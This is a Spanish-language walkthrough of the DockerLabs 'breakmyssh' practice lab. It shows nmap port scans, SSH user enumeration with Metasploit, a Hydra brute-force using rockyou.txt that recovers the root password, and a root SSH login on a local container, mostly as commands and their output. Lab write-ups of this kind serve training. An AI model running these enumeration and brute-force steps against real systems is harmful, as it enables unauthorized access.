

1. Descripción

Descripción:

Laboratorio para practicar ataques de fuerza bruta con Hydra contra el servicio SSH.

2. Escaneo de Puertos

1. Escaneo básico

```
(kali@MrRobot)-[~/Labs/DockerLabs/breakmyssh]
$ sudo nmap -p- --open -Pn -n -sS --min-rate 5000 -T 5 172.17.0.3
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 17:29 -0400
Nmap scan report for 172.17.0.3
Host is up (0.0000060s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 56:00:BA:2E:D8:20 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
```

2. Escaneo detallado de servicios

```
(kali@MrRobot)-[~/Labs/DockerLabs/breakmyssh]
$ sudo nmap -p 22 -sV -sC -Pn -n --min-rate 5000 -T 5 172.17.0.3
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 17:29 -0400
Nmap scan report for 172.17.0.3
Host is up (0.000062s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 56:00:BA:2E:D8:20 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
```

→ Hallazgos clave:

⇒ Puerto 22 (SSH) : OpenSSH 7.7

3. Enumeración de Usuarios (Metasploit)

1. Enumeración de Usuarios SSH y Fuerza Bruta con Metasploit

```
(kali@MrRobot)-[~/Labs/DockerLabs/breakmyssh]
$ msfconsole -q
msf > use auxiliary/scanner/ssh/ssh_enumusers
[*] Setting default action Malformed Packet - view all 2 actions with the show actions command
msf auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):
```

Name	Current Setting	Required	Description
CHECK_FALSE	true	no	Check for false positives (random username)
DB_ALL_USERS	false	no	Add all users in the current database to the list
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-targets.html
RPORT	22	yes	The target port
THREADS	1	yes	The number of concurrent threads (max one per host)
THRESHOLD	10	yes	Amount of seconds needed before a user is considered found (timing attack only)
USERNAME		no	Single username to test (username spray)
USER_FILE		no	File containing usernames, one per line

```

Auxiliary action:

Name      Description
-----
Malformed Packet  Use a malformed packet

View the full module info with the info, or info -d command.

msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.17.0.3
RHOSTS => 172.17.0.3
msf auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 5
THREADS => 5
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/seclists/Names/top-1000-common-names.txt
USER_FILE => /usr/share/wordlists/seclists/Names/top-1000-common-names.txt
msf auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):
```

Name	Current Setting	Required	Description
CHECK_FALSE	true	no	Check for false positives (random username)
DB_ALL_USERS	false	no	Add all users in the current database to the list
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http
RHOSTS	172.17.0.3	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-targets.html
RPORT	22	yes	The target port
THREADS	5	yes	The number of concurrent threads (max one per host)
THRESHOLD	10	yes	Amount of seconds needed before a user is considered found (timing attack only)
USERNAME		no	Single username to test (username spray)
USER_FILE	/usr/share/wordlists/seclists/Names/top-1000-common-names.txt	no	File containing usernames, one per line

```

Auxiliary action:

Name      Description
-----
Malformed Packet  Use a malformed packet

View the full module info with the info, or info -d command.

msf auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 172.17.0.3:22 - SSH - Using malformed packet technique
[*] 172.17.0.3:22 - SSH - Checking for false positives
[*] 172.17.0.3:22 - SSH - Starting scan
[+] 172.17.0.3:22 - SSH - User 'root' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_enumusers) >

```

→ Hallazgo: El usuario root existe en el sistema.

4. Fuerza Bruta SSH (root)

1. Fuerza bruta sobre SSH

```
(kali@MrRobot)-[~/Labs/DockerLabs/breakmyssh]
$ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.3 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
  ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-21 17:49:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.3:22/
[22][ssh] host: 172.17.0.3 login: root password: estrella
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-21 17:49:46
```

→ Se encontró credenciales válidas para el servicio SSH.

⇒ login: root

⇒ password: estrella

5. Obtención de acceso SSH (root)

1. Conexión mediante SSH

```
(kali@MrRobot)-[~/Labs/DockerLabs/breakmyssh]
$ ssh root@172.17.0.3
The authenticity of host '172.17.0.3 (172.17.0.3)' can't be established.
ED25519 key fingerprint is: SHA256:U6y+etRI+fVmMxDtwFTSDrZCoIl2xG/Ur/6R0cQMamQ
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.3' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@172.17.0.3's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@aedb6fa4d3b6:~#
root@aedb6fa4d3b6:~# whoami
root
root@aedb6fa4d3b6:~#
root@aedb6fa4d3b6:~# id
uid=0(root) gid=0(root) groups=0(root)
root@aedb6fa4d3b6:~#
root@aedb6fa4d3b6:~# pwd
/root
root@aedb6fa4d3b6:~#
```

→ Se logró acceso al sistema mediante el servicio SSH utilizando las credenciales obtenidas en la fase anterior.

⇒ Usuario autenticado: root

⇒ Directorio de trabajo: /root

